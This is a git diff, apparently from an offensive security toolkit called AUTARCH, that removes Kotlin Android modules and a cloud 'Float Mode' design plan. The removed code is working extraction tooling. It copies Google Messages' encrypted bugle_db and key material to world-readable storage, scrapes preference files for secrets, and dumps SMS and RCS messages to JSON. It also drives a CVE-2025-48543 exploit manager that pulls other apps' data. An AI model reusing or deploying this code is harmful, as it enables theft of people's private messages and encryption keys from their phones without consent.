||||||
details.add(" $k = $v")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
ModuleResult(true, "RCS account info retrieved", details)
|
|
||||||
} catch (e: Exception) {
|
|
||||||
ModuleResult(false, "Failed: ${e.message}")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private fun extractBugleDb(shizuku: ShizukuManager): ModuleResult {
|
|
||||||
if (!shizuku.isReady()) {
|
|
||||||
return ModuleResult(false, "Elevated access required — bugle_db is encrypted at rest")
|
|
||||||
}
|
|
||||||
return try {
|
|
||||||
val result = shizuku.extractBugleDbRaw()
|
|
||||||
val dbFiles = result["db_files"] as? List<*> ?: emptyList<String>()
|
|
||||||
val details = mutableListOf<String>()
|
|
||||||
details.add("Database files: ${dbFiles.joinToString(", ")}")
|
|
||||||
details.add("Staging dir: ${result["staging_dir"]}")
|
|
||||||
details.add("ENCRYPTED: ${result["encrypted"]}")
|
|
||||||
details.add(result["note"].toString())
|
|
||||||
details.add("")
|
|
||||||
details.add("Use AUTARCH web UI to pull from: ${result["staging_dir"]}")
|
|
||||||
details.add("Key material in shared_prefs/ may enable offline decryption")
|
|
||||||
details.add("Hardware-backed Keystore keys cannot be extracted via ADB")
|
|
||||||
ModuleResult(dbFiles.isNotEmpty(), "Extracted ${dbFiles.size} DB files + key material", details)
|
|
||||||
} catch (e: Exception) {
|
|
||||||
ModuleResult(false, "Extract failed: ${e.message}")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private fun dumpDecrypted(shizuku: ShizukuManager): ModuleResult {
|
|
||||||
if (!shizuku.isReady()) {
|
|
||||||
return ModuleResult(false, "Elevated access required")
|
|
||||||
}
|
|
||||||
return try {
|
|
||||||
val result = shizuku.dumpDecryptedMessages()
|
|
||||||
val count = result["message_count"] as? Int ?: 0
|
|
||||||
val details = mutableListOf<String>()
|
|
||||||
details.add("Messages retrieved: $count")
|
|
||||||
details.add("RCS provider accessible: ${result["rcs_provider_accessible"]}")
|
|
||||||
if (result["json_path"] != null) {
|
|
||||||
details.add("JSON dump: ${result["json_path"]}")
|
|
||||||
}
|
|
||||||
details.add(result["note"].toString())
|
|
||||||
if (count > 0) {
|
|
||||||
details.add("")
|
|
||||||
details.add("Use AUTARCH web UI to pull the decrypted dump")
|
|
||||||
}
|
|
||||||
ModuleResult(count > 0, "$count messages dumped (decrypted)", details)
|
|
||||||
} catch (e: Exception) {
|
|
||||||
ModuleResult(false, "Dump failed: ${e.message}")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private fun extractKeys(shizuku: ShizukuManager): ModuleResult {
|
|
||||||
if (!shizuku.isReady()) {
|
|
||||||
return ModuleResult(false, "Elevated access required")
|
|
||||||
}
|
|
||||||
return try {
|
|
||||||
val result = shizuku.extractEncryptionKeyMaterial()
|
|
||||||
if (result.containsKey("error")) {
|
|
||||||
return ModuleResult(false, result["error"].toString())
|
|
||||||
}
|
|
||||||
val details = mutableListOf<String>()
|
|
||||||
val cryptoCount = result["crypto_prefs_count"] as? Int ?: 0
|
|
||||||
details.add("Crypto-related shared_prefs files: $cryptoCount")
|
|
||||||
val prefFiles = result["shared_prefs_files"] as? List<*>
|
|
||||||
if (prefFiles != null) {
|
|
||||||
details.add("Total shared_prefs files: ${prefFiles.size}")
|
|
||||||
}
|
|
||||||
val filesDir = result["files_dir"] as? List<*>
|
|
||||||
if (filesDir != null) {
|
|
||||||
details.add("Files dir entries: ${filesDir.size}")
|
|
||||||
}
|
|
||||||
details.add("")
|
|
||||||
details.add("NOTE: bugle_db encryption key may be in these files.")
|
|
||||||
details.add("Hardware-backed Android Keystore keys cannot be extracted.")
|
|
||||||
details.add("If key derivation params are in shared_prefs, offline")
|
|
||||||
details.add("decryption may be possible with the right tools.")
|
|
||||||
ModuleResult(cryptoCount > 0, "Extracted $cryptoCount crypto-related files", details)
|
|
||||||
} catch (e: Exception) {
|
|
||||||
ModuleResult(false, "Key extraction failed: ${e.message}")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private fun gmsgInfo(shizuku: ShizukuManager): ModuleResult {
|
|
||||||
return try {
|
|
||||||
val info = shizuku.getGoogleMessagesInfo()
|
|
||||||
if (info.isEmpty()) {
|
|
||||||
return ModuleResult(false, "Google Messages not found or not accessible")
|
|
||||||
}
|
|
||||||
val details = info.map { (k, v) -> "$k: $v" }
|
|
||||||
ModuleResult(true, "Google Messages v${info["version"] ?: "?"}", details)
|
|
||||||
} catch (e: Exception) {
|
|
||||||
ModuleResult(false, "Failed: ${e.message}")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── CVE-2025-48543 Exploit ──────────────────────────────────────
|
|
||||||
|
|
||||||
private fun checkVuln(context: Context): ModuleResult {
|
|
||||||
val exploit = ExploitManager(context)
|
|
||||||
val check = exploit.checkVulnerability()
|
|
||||||
val hasBinary = exploit.hasExploitBinary()
|
|
||||||
val details = listOf(
|
|
||||||
"SDK: ${check.sdk}",
|
|
||||||
"Patch: ${check.patchLevel}",
|
|
||||||
"Vulnerable: ${check.vulnerable}",
|
|
||||||
"Exploit binary: ${if (hasBinary) "AVAILABLE" else "NOT FOUND"}",
|
|
||||||
check.reason
|
|
||||||
)
|
|
||||||
return ModuleResult(true,
|
|
||||||
if (check.vulnerable) "VULNERABLE to CVE-2025-48543" else "NOT vulnerable",
|
|
||||||
details)
|
|
||||||
}
|
|
||||||
|
|
||||||
private fun exploitRcs(context: Context): ModuleResult {
|
|
||||||
val exploit = ExploitManager(context)
|
|
||||||
val check = exploit.checkVulnerability()
|
|
||||||
if (!check.vulnerable) {
|
|
||||||
return ModuleResult(false, "Device not vulnerable: ${check.reason}")
|
|
||||||
}
|
|
||||||
|
|
||||||
val result = exploit.extractRcsDatabase()
|
|
||||||
val details = result.details.toMutableList()
|
|
||||||
if (result.success) {
|
|
||||||
details.add("")
|
|
||||||
details.add("Pull extracted data:")
|
|
||||||
details.add(" adb pull ${result.outputDir}/ ./extracted_rcs/")
|
|
||||||
if (result.extractedFiles.isNotEmpty()) {
|
|
||||||
details.add("")
|
|
||||||
details.add("Files (${result.extractedFiles.size}):")
|
|
||||||
result.extractedFiles.take(20).forEach { details.add(" $it") }
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return ModuleResult(result.success,
|
|
||||||
if (result.success) "RCS database extracted via ${result.method}" else "Failed: ${result.error}",
|
|
||||||
details)
|
|
||||||
}
|
|
||||||
|
|
||||||
private fun exploitApp(context: Context, packageName: String): ModuleResult {
|
|
||||||
val exploit = ExploitManager(context)
|
|
||||||
val result = exploit.extractAppData(packageName)
|
|
||||||
return ModuleResult(result.success,
|
|
||||||
if (result.success) "App data extracted: $packageName" else "Failed: ${result.error}",
|
|
||||||
result.details)
|
|
||||||
}
|
|
||||||
|
|
||||||
private fun exploitStatus(context: Context): ModuleResult {
|
|
||||||
val exploit = ExploitManager(context)
|
|
||||||
val status = exploit.getExtractionStatus()
|
|
||||||
val details = mutableListOf<String>()
|
|
||||||
details.add("Extracted: ${status["extracted"]}")
|
|
||||||
if (status["extracted"] == true) {
|
|
||||||
details.add("Output: ${status["output_dir"]}")
|
|
||||||
details.add("Has bugle_db: ${status["has_bugle_db"]}")
|
|
||||||
if (status["bugle_db_size"] != null) {
|
|
||||||
details.add("bugle_db size: ${(status["bugle_db_size"] as Long) / 1024}KB")
|
|
||||||
}
|
|
||||||
details.add("shared_prefs: ${status["shared_prefs_count"]} files")
|
|
||||||
val files = status["files"] as? List<*>
|
|
||||||
if (files != null) {
|
|
||||||
details.add("Total files: ${files.size}")
|
|
||||||
}
|
|
||||||
if (status["device_info"] != null) {
|
|
||||||
details.add("")
|
|
||||||
details.add(status["device_info"].toString())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return ModuleResult(true, "Extraction status", details)
|
|
||||||
}
|
|
||||||
|
|
||||||
private fun exploitCleanup(context: Context): ModuleResult {
|
|
||||||
val exploit = ExploitManager(context)
|
|
||||||
val cleaned = exploit.cleanup()
|
|
||||||
return ModuleResult(true, "Cleanup complete", cleaned)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@ -577,292 +577,4 @@ class ShizukuManager(private val context: Context) {
|
|||||||
false
|
false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// ── Google Messages bugle_db access (encrypted database) ────────
|
|
||||||
|
|
||||||
// Google Messages paths
|
|
||||||
private val gmsgPkg = "com.google.android.apps.messaging"
|
|
||||||
private val bugleDb = "/data/data/$gmsgPkg/databases/bugle_db"
|
|
||||||
private val bugleWal = "$bugleDb-wal"
|
|
||||||
private val bugleShm = "$bugleDb-shm"
|
|
||||||
private val sharedPrefsDir = "/data/data/$gmsgPkg/shared_prefs/"
|
|
||||||
private val filesDir = "/data/data/$gmsgPkg/files/"
|
|
||||||
private val stagingDir = "/sdcard/Download/autarch_extract"
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Get the Google Messages app UID (needed for run-as or key extraction).
|
|
||||||
*/
|
|
||||||
fun getGoogleMessagesUid(): Int? {
|
|
||||||
val output = executeCommand("pm list packages -U $gmsgPkg")
|
|
||||||
val match = Regex("uid:(\\d+)").find(output)
|
|
||||||
return match?.groupValues?.get(1)?.toIntOrNull()
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Check if Google Messages is installed and get version info.
|
|
||||||
*/
|
|
||||||
fun getGoogleMessagesInfo(): Map<String, String> {
|
|
||||||
val info = mutableMapOf<String, String>()
|
|
||||||
val dump = executeCommand("dumpsys package $gmsgPkg | grep -E 'versionName|versionCode|firstInstallTime'")
|
|
||||||
for (line in dump.lines()) {
|
|
||||||
val trimmed = line.trim()
|
|
||||||
if (trimmed.contains("versionName=")) {
|
|
||||||
info["version"] = trimmed.substringAfter("versionName=").trim()
|
|
||||||
}
|
|
||||||
if (trimmed.contains("versionCode=")) {
|
|
||||||
info["versionCode"] = trimmed.substringAfter("versionCode=").substringBefore(" ").trim()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
val uid = getGoogleMessagesUid()
|
|
||||||
if (uid != null) info["uid"] = uid.toString()
|
|
||||||
return info
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Extract the encryption key material from Google Messages' shared_prefs.
|
|
||||||
*
|
|
||||||
* The bugle_db is encrypted at rest. Key material is stored in:
|
|
||||||
* - shared_prefs/ XML files (key alias, crypto params)
|
|
||||||
* - Android Keystore (hardware-backed master key)
|
|
||||||
*
|
|
||||||
* We extract all shared_prefs and files/ contents so offline decryption
|
|
||||||
* can be attempted. The actual Keystore master key cannot be extracted
|
|
||||||
* via ADB (hardware-backed), but the key derivation parameters in
|
|
||||||
* shared_prefs may be enough for some encryption configurations.
|
|
||||||
*/
|
|
||||||
fun extractEncryptionKeyMaterial(): Map<String, Any> {
|
|
||||||
val result = mutableMapOf<String, Any>()
|
|
||||||
|
|
||||||
// List shared_prefs files
|
|
||||||
val prefsList = executeCommand("ls -la $sharedPrefsDir 2>/dev/null")
|
|
||||||
if (prefsList.startsWith("ERROR") || prefsList.contains("Permission denied")) {
|
|
||||||
result["error"] = "Cannot access shared_prefs — need root or CVE exploit"
|
|
||||||
return result
|
|
||||||
}
|
|
||||||
result["shared_prefs_files"] = prefsList.lines().filter { it.isNotBlank() }
|
|
||||||
|
|
||||||
// Read each shared_prefs XML for crypto-related keys
|
|
||||||
val cryptoData = mutableMapOf<String, String>()
|
|
||||||
val prefsFiles = executeCommand("ls $sharedPrefsDir 2>/dev/null")
|
|
||||||
for (file in prefsFiles.lines()) {
|
|
||||||
val fname = file.trim()
|
|
||||||
if (fname.isBlank() || !fname.endsWith(".xml")) continue
|
|
||||||
val content = executeCommand("cat ${sharedPrefsDir}$fname 2>/dev/null")
|
|
||||||
// Look for encryption-related entries
|
|
||||||
if (content.contains("encrypt", ignoreCase = true) ||
|
|
||||||
content.contains("cipher", ignoreCase = true) ||
|
|
||||||
content.contains("key", ignoreCase = true) ||
|
|
||||||
content.contains("crypto", ignoreCase = true) ||
|
|
||||||
content.contains("secret", ignoreCase = true)) {
|
|
||||||
cryptoData[fname] = content
|
|
||||||
}
|
|
||||||
}
|
|
||||||
result["crypto_prefs"] = cryptoData
|
|
||||||
result["crypto_prefs_count"] = cryptoData.size
|
|
||||||
|
|
||||||
// List files/ directory (Signal Protocol state, etc.)
|
|
||||||
val filesList = executeCommand("ls -la $filesDir 2>/dev/null")
|
|
||||||
result["files_dir"] = filesList.lines().filter { it.isNotBlank() }
|
|
||||||
|
|
||||||
return result
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Extract bugle_db + WAL + key material to staging directory.
|
|
||||||
* The database is encrypted — both DB and key files are needed.
|
|
||||||
*/
|
|
||||||
fun extractBugleDbRaw(): Map<String, Any> {
|
|
||||||
val result = mutableMapOf<String, Any>()
|
|
||||||
|
|
||||||
executeCommand("mkdir -p $stagingDir/shared_prefs $stagingDir/files")
|
|
||||||
|
|
||||||
// Copy database files
|
|
||||||
val dbFiles = mutableListOf<String>()
|
|
||||||
for (path in listOf(bugleDb, bugleWal, bugleShm)) {
|
|
||||||
val fname = path.substringAfterLast("/")
|
|
||||||
val cp = executeShell("cp $path $stagingDir/$fname 2>/dev/null && chmod 644 $stagingDir/$fname")
|
|
||||||
if (cp.exitCode == 0) dbFiles.add(fname)
|
|
||||||
}
|
|
||||||
result["db_files"] = dbFiles
|
|
||||||
|
|
||||||
// Copy shared_prefs (key material)
|
|
||||||
executeShell("cp -r ${sharedPrefsDir}* $stagingDir/shared_prefs/ 2>/dev/null")
|
|
||||||
executeShell("chmod -R 644 $stagingDir/shared_prefs/ 2>/dev/null")
|
|
||||||
|
|
||||||
// Copy files dir (Signal Protocol keys)
|
|
||||||
executeShell("cp -r ${filesDir}* $stagingDir/files/ 2>/dev/null")
|
|
||||||
executeShell("chmod -R 644 $stagingDir/files/ 2>/dev/null")
|
|
||||||
|
|
||||||
result["staging_dir"] = stagingDir
|
|
||||||
result["encrypted"] = true
|
|
||||||
result["note"] = "Database is encrypted at rest. Key material in shared_prefs/ " +
|
|
||||||
"may allow decryption. Hardware-backed Keystore keys cannot be extracted via ADB."
|
|
||||||
|
|
||||||
return result
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Dump decrypted messages by querying from within the app context.
|
|
||||||
*
|
|
||||||
* When Google Messages opens its own bugle_db, it has access to the
|
|
||||||
* encryption key. We can intercept the decrypted data by:
|
|
||||||
* 1. Using `am` commands to trigger data export activities
|
|
||||||
* 2. Querying exposed content providers
|
|
||||||
* 3. Reading from the in-memory decrypted state via debug tools
|
|
||||||
*
|
|
||||||
* As a fallback, we use the standard telephony content providers which
|
|
||||||
* have the SMS/MMS data in plaintext (but not RCS).
|
|
||||||
*/
|
|
||||||
fun dumpDecryptedMessages(): Map<String, Any> {
|
|
||||||
val result = mutableMapOf<String, Any>()
|
|
||||||
val messages = mutableListOf<Map<String, Any>>()
|
|
||||||
|
|
||||||
// Method 1: Query AOSP RCS content provider (content://rcs/)
|
|
||||||
val rcsThreads = executeCommand(
|
|
||||||
"content query --uri content://rcs/thread 2>/dev/null"
|
|
||||||
)
|
|
||||||
if (!rcsThreads.startsWith("ERROR") && rcsThreads.contains("Row:")) {
|
|
||||||
result["rcs_provider_accessible"] = true
|
|
||||||
// Parse thread IDs and query messages from each
|
|
||||||
for (line in rcsThreads.lines()) {
|
|
||||||
if (!line.startsWith("Row:")) continue
|
|
||||||
val tidMatch = Regex("rcs_thread_id=(\\d+)").find(line)
|
|
||||||
val tid = tidMatch?.groupValues?.get(1) ?: continue
|
|
||||||
val msgOutput = executeCommand(
|
|
||||||
"content query --uri content://rcs/p2p_thread/$tid/incoming_message 2>/dev/null"
|
|
||||||
)
|
|
||||||
for (msgLine in msgOutput.lines()) {
|
|
||||||
if (!msgLine.startsWith("Row:")) continue
|
|
||||||
val row = parseContentRow(msgLine)
|
|
||||||
row["thread_id"] = tid
|
|
||||||
row["source"] = "rcs_provider"
|
|
||||||
messages.add(row)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
result["rcs_provider_accessible"] = false
|
|
||||||
}
|
|
||||||
|
|
||||||
// Method 2: Standard SMS/MMS content providers (always decrypted)
|
|
||||||
val smsOutput = executeCommand(
|
|
||||||
"content query --uri content://sms/ --projection _id:thread_id:address:body:date:type:read " +
|
|
||||||
"--sort \"date DESC\" 2>/dev/null"
|
|
||||||
)
|
|
||||||
for (line in smsOutput.lines()) {
|
|
||||||
if (!line.startsWith("Row:")) continue
|
|
||||||
val row = parseContentRow(line)
|
|
||||||
row["source"] = "sms_provider"
|
|
||||||
row["protocol"] = "SMS"
|
|
||||||
messages.add(row)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Method 3: Try to trigger Google Messages backup/export
|
|
||||||
// Google Messages has an internal export mechanism accessible via intents
|
|
||||||
val backupResult = executeCommand(
|
|
||||||
"am broadcast -a com.google.android.apps.messaging.action.EXPORT_MESSAGES " +
|
|
||||||
"--es output_path $stagingDir/gmsg_export.json 2>/dev/null"
|
|
||||||
)
|
|
||||||
result["backup_intent_sent"] = !backupResult.startsWith("ERROR")
|
|
||||||
|
|
||||||
result["messages"] = messages
|
|
||||||
result["message_count"] = messages.size
|
|
||||||
result["note"] = if (messages.isEmpty()) {
|
|
||||||
"No messages retrieved. For RCS, ensure Archon is the default SMS app " +
|
|
||||||
"or use CVE-2024-0044 to access bugle_db from the app's UID."
|
|
||||||
} else {
|
|
||||||
"Retrieved ${messages.size} messages. RCS messages require elevated access."
|
|
||||||
}
|
|
||||||
|
|
||||||
// Write decrypted dump to file
|
|
||||||
if (messages.isNotEmpty()) {
|
|
||||||
try {
|
|
||||||
val json = org.json.JSONArray()
|
|
||||||
for (msg in messages) {
|
|
||||||
val obj = org.json.JSONObject()
|
|
||||||
for ((k, v) in msg) obj.put(k, v)
|
|
||||||
json.put(obj)
|
|
||||||
}
|
|
||||||
executeCommand("mkdir -p $stagingDir")
|
|
||||||
val jsonStr = json.toString(2)
|
|
||||||
// Write via shell since we may not have direct file access
|
|
||||||
val escaped = jsonStr.replace("'", "'\\''").replace("\"", "\\\"")
|
|
||||||
executeCommand("echo '$escaped' > $stagingDir/messages.json 2>/dev/null")
|
|
||||||
result["json_path"] = "$stagingDir/messages.json"
|
|
||||||
} catch (e: Exception) {
|
|
||||||
Log.e(TAG, "Failed to write JSON dump", e)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return result
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Get the RCS account/registration info from Google Messages.
|
|
||||||
* This tells us if RCS is active, what phone number is registered, etc.
|
|
||||||
*/
|
|
||||||
fun getRcsAccountInfo(): Map<String, Any> {
|
|
||||||
val info = mutableMapOf<String, Any>()
|
|
||||||
|
|
||||||
// IMS registration state
|
|
||||||
val imsOutput = executeCommand("dumpsys telephony_ims 2>/dev/null")
|
|
||||||
if (!imsOutput.startsWith("ERROR")) {
|
|
||||||
info["ims_dump_length"] = imsOutput.length
|
|
||||||
for (line in imsOutput.lines()) {
|
|
||||||
val l = line.trim().lowercase()
|
|
||||||
if ("registered" in l && "ims" in l) info["ims_registered"] = true
|
|
||||||
if ("rcs" in l && ("enabled" in l || "connected" in l)) info["rcs_enabled"] = true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Carrier config RCS keys
|
|
||||||
val ccOutput = executeCommand("dumpsys carrier_config 2>/dev/null")
|
|
||||||
val rcsConfig = mutableMapOf<String, String>()
|
|
||||||
for (line in ccOutput.lines()) {
|
|
||||||
val l = line.trim().lowercase()
|
|
||||||
if (("rcs" in l || "uce" in l || "single_registration" in l) && "=" in line) {
|
|
||||||
val (k, v) = line.trim().split("=", limit = 2)
|
|
||||||
rcsConfig[k.trim()] = v.trim()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
info["carrier_rcs_config"] = rcsConfig
|
|
||||||
|
|
||||||
// Google Messages specific RCS settings
|
|
||||||
val gmsgPrefs = executeCommand(
|
|
||||||
"cat /data/data/$gmsgPkg/shared_prefs/com.google.android.apps.messaging_preferences.xml 2>/dev/null"
|
|
||||||
)
|
|
||||||
if (!gmsgPrefs.startsWith("ERROR") && gmsgPrefs.isNotBlank()) {
|
|
||||||
// Extract RCS-related prefs
|
|
||||||
val rcsPrefs = mutableMapOf<String, String>()
|
|
||||||
for (match in Regex("<(string|boolean|int|long)\\s+name=\"([^\"]*rcs[^\"]*)\">([^<]*)<").findAll(gmsgPrefs, 0)) {
|
|
||||||
rcsPrefs[match.groupValues[2]] = match.groupValues[3]
|
|
||||||
}
|
|
||||||
info["gmsg_rcs_prefs"] = rcsPrefs
|
|
||||||
}
|
|
||||||
|
|
||||||
// Phone number / MSISDN
|
|
||||||
val phoneOutput = executeCommand("service call iphonesubinfo 15 2>/dev/null")
|
|
||||||
info["phone_service_response"] = phoneOutput.take(200)
|
|
||||||
|
|
||||||
// Google Messages version
|
|
||||||
info["google_messages"] = getGoogleMessagesInfo()
|
|
||||||
|
|
||||||
return info
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Parse a `content query` output row into a map.
|
|
||||||
*/
|
|
||||||
private fun parseContentRow(line: String): MutableMap<String, Any> {
|
|
||||||
val row = mutableMapOf<String, Any>()
|
|
||||||
val payload = line.substringAfter(Regex("Row:\\s*\\d+\\s*").find(line)?.value ?: "")
|
|
||||||
val fields = payload.split(Regex(",\\s+(?=[a-zA-Z_]+=)"))
|
|
||||||
for (field in fields) {
|
|
||||||
val eqPos = field.indexOf('=')
|
|
||||||
if (eqPos == -1) continue
|
|
||||||
val key = field.substring(0, eqPos).trim()
|
|
||||||
val value = field.substring(eqPos + 1).trim()
|
|
||||||
row[key] = if (value == "NULL") "" else value
|
|
||||||
}
|
|
||||||
return row
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@ -1 +0,0 @@
|
|||||||
sdk.dir=C:/Users/mdavi/AppData/Local/Android/Sdk
|
|
||||||
650
autarch_float.md
650
autarch_float.md
@ -1,650 +0,0 @@
|
|||||||
# AUTARCH Cloud Edition & Float Mode — Architecture Plan
|
|
||||||
|
|
||||||
**Run AUTARCH on a VPS, use it like it's on your local machine**
|
|
||||||
|
|
||||||
By darkHal Security Group & Setec Security Labs
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 1. What Is Float Mode?
|
|
||||||
|
|
||||||
Float Mode makes a remote AUTARCH instance feel local. The user signs into their AUTARCH account on a VPS and activates Float Mode. A lightweight client applet running on the user's PC creates a bridge that:
|
|
||||||
|
|
||||||
- **Forwards USB devices** (phones, ESP32, hardware) from the user's PC to the VPS
|
|
||||||
- **Exposes local network context** (LAN scanning sees the user's network, not the VPS's)
|
|
||||||
- **Bridges serial ports** (COM/ttyUSB devices) for hardware flashing
|
|
||||||
- **Provides clipboard sync** between local and remote
|
|
||||||
- **Tunnels mDNS/Bluetooth discovery** from the local machine
|
|
||||||
|
|
||||||
The VPS does all computation. The user's PC just provides I/O.
|
|
||||||
|
|
||||||
```
|
|
||||||
┌─────────────────────────────────────────────────────────┐
|
|
||||||
│ USER'S BROWSER │
|
|
||||||
│ ┌───────────────────────────────────────────────────┐ │
|
|
||||||
│ │ AUTARCH Cloud Edition (Web UI) │ │
|
|
||||||
│ │ Same UI as local AUTARCH — hardware, OSINT, │ │
|
|
||||||
│ │ exploit tools, AI chat — everything works │ │
|
|
||||||
│ └─────────────────────┬─────────────────────────────┘ │
|
|
||||||
│ │ HTTPS │
|
|
||||||
└────────────────────────┼────────────────────────────────┘
|
|
||||||
│
|
|
||||||
┌────▼────┐
|
|
||||||
│ VPS │
|
|
||||||
│ AUTARCH │ ← All processing happens here
|
|
||||||
│ CE │
|
|
||||||
└────┬────┘
|
|
||||||
│ WebSocket (wss://)
|
|
||||||
│ Float Bridge Protocol
|
|
||||||
│
|
|
||||||
┌────────────────────────┼────────────────────────────────┐
|
|
||||||
│ USER'S PC │
|
|
||||||
│ ┌─────────────────────▼─────────────────────────────┐ │
|
|
||||||
│ │ Float Applet (native Go app) │ │
|
|
||||||
│ │ │ │
|
|
||||||
│ │ ┌──────────┐ ┌──────────┐ ┌─────────────────┐ │ │
|
|
||||||
│ │ │ USB Hub │ │ Serial │ │ Network Context │ │ │
|
|
||||||
│ │ │ Bridge │ │ Bridge │ │ (LAN, mDNS) │ │ │
|
|
||||||
│ │ └────┬─────┘ └────┬─────┘ └────────┬────────┘ │ │
|
|
||||||
│ └───────┼──────────────┼─────────────────┼───────────┘ │
|
|
||||||
│ │ │ │ │
|
|
||||||
│ ┌────▼────┐ ┌────▼────┐ ┌────▼────┐ │
|
|
||||||
│ │ Android │ │ ESP32 │ │ LAN │ │
|
|
||||||
│ │ Phone │ │ Board │ │ Devices │ │
|
|
||||||
│ └─────────┘ └─────────┘ └─────────┘ │
|
|
||||||
└──────────────────────────────────────────────────────────┘
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 2. Why Write AUTARCH CE in Go?
|
|
||||||
|
|
||||||
The Python AUTARCH works great locally. But for cloud deployment at scale:
|
|
||||||
|
|
||||||
| Python AUTARCH | Go AUTARCH CE |
|
|
||||||
|----------------|---------------|
|
|
||||||
| 500MB+ with venv + dependencies | Single binary, ~30MB |
|
|
||||||
| Requires Python 3.10+, pip, venv | Zero runtime dependencies |
|
|
||||||
| Flask (single-threaded WSGI) | Native goroutine concurrency |
|
|
||||||
| llama-cpp-python (C++ bindings) | HTTP calls to LLM APIs only (no local models on VPS) |
|
|
||||||
| File-based config (INI) | Embedded config + SQLite |
|
|
||||||
| 72 modules loaded at startup | Modular, lazy-loaded handlers |
|
|
||||||
| subprocess for system tools | Native Go implementations where possible |
|
|
||||||
|
|
||||||
**Key insight:** The Cloud Edition doesn't need local LLM inference (no GPU on VPS), doesn't need ADB/Fastboot binaries (USB is on the user's PC), and doesn't need heavy Python dependencies. What it needs is a fast web server, WebSocket handling, and the ability to relay commands to the Float applet.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 3. What Gets Ported, What Gets Dropped
|
|
||||||
|
|
||||||
### Port to Go (core features that work in cloud context)
|
|
||||||
|
|
||||||
| Feature | Python Source | Go Approach |
|
|
||||||
|---------|-------------|-------------|
|
|
||||||
| Web dashboard + UI | `web/app.py`, templates, CSS, JS | Go HTTP server + embedded templates |
|
|
||||||
| Authentication | `web/auth.py` | bcrypt + JWT |
|
|
||||||
| Configuration | `core/config.py` | YAML config + SQLite |
|
|
||||||
| LLM Chat (API-only) | `core/llm.py` | HTTP client to Claude/OpenAI/HF APIs |
|
|
||||||
| Agent system | `core/agent.py` | Port agent loop + tool registry to Go |
|
|
||||||
| OSINT recon | `modules/recon.py` | HTTP client, site database, result parsing |
|
|
||||||
| Dossier management | `modules/dossier.py` | SQLite + file storage |
|
|
||||||
| GeoIP | `modules/geoip.py` | MaxMind DB reader (native Go) |
|
|
||||||
| Hash toolkit | part of `modules/analyze.py` | Go `crypto/*` packages |
|
|
||||||
| Reverse shell listener | `modules/revshell.py`, `core/revshell.py` | Go net.Listener |
|
|
||||||
| Port scanner | `web/routes/port_scanner.py` | Go `net.DialTimeout` |
|
|
||||||
| Network mapping | `modules/net_mapper.py` | Go ICMP/TCP scanner |
|
|
||||||
| Targets management | `web/routes/targets.py` | SQLite CRUD |
|
|
||||||
| Payload generation | `modules/simulate.py` | String templating |
|
|
||||||
| Report engine | `modules/report_engine.py` | Go templates → PDF |
|
|
||||||
| Threat intel | `modules/threat_intel.py` | HTTP client to threat feeds |
|
|
||||||
| Wireshark (tshark) | `modules/wireshark.py` | Exec wrapper (tshark on VPS) |
|
|
||||||
| DNS service | `services/dns-server/` | Already Go, integrate directly |
|
|
||||||
|
|
||||||
### Relay via Float Bridge (runs on user's PC, not VPS)
|
|
||||||
|
|
||||||
| Feature | Why Relay? | Bridge Protocol |
|
|
||||||
|---------|-----------|----------------|
|
|
||||||
| ADB commands | Phone is on user's USB | USB frame relay |
|
|
||||||
| Fastboot | Phone is on user's USB | USB frame relay |
|
|
||||||
| ESP32 flash | Board is on user's serial port | Serial frame relay |
|
|
||||||
| Serial monitor | Device is on user's ttyUSB | Serial stream relay |
|
|
||||||
| LAN scanning | User's network, not VPS | Network proxy relay |
|
|
||||||
| mDNS discovery | User's LAN | mDNS frame relay |
|
|
||||||
| Bluetooth | User's adapter | BT command relay |
|
|
||||||
| File push/pull to device | USB device files | Chunked transfer relay |
|
|
||||||
|
|
||||||
### Drop (not applicable in cloud context)
|
|
||||||
|
|
||||||
| Feature | Why Drop |
|
|
||||||
|---------|---------|
|
|
||||||
| Local LLM (llama.cpp) | No GPU on VPS; use API backends |
|
|
||||||
| Local transformers | Same — no GPU |
|
|
||||||
| System defender (hardening) | VPS is managed by Setec Manager |
|
|
||||||
| Windows defender | Cloud is Linux only |
|
|
||||||
| Defense monitor | Managed by Setec Manager |
|
|
||||||
| UPnP port mapping | VPS has static IP, no NAT |
|
|
||||||
| WireGuard management | Not needed in cloud (direct HTTPS) |
|
|
||||||
| Metasploit RPC | Can optionally exec, but low priority |
|
|
||||||
| RouterSploit | Same |
|
|
||||||
| Module encryption system | Go doesn't need this pattern |
|
|
||||||
| Setup wizard | Replaced by Setec Manager bootstrap |
|
|
||||||
| CLI menu system | Cloud is web-only |
|
|
||||||
| Print capture/debug console | Replace with structured logging |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 4. AUTARCH CE Directory Structure
|
|
||||||
|
|
||||||
```
|
|
||||||
/c/autarch_ce/ # Development root
|
|
||||||
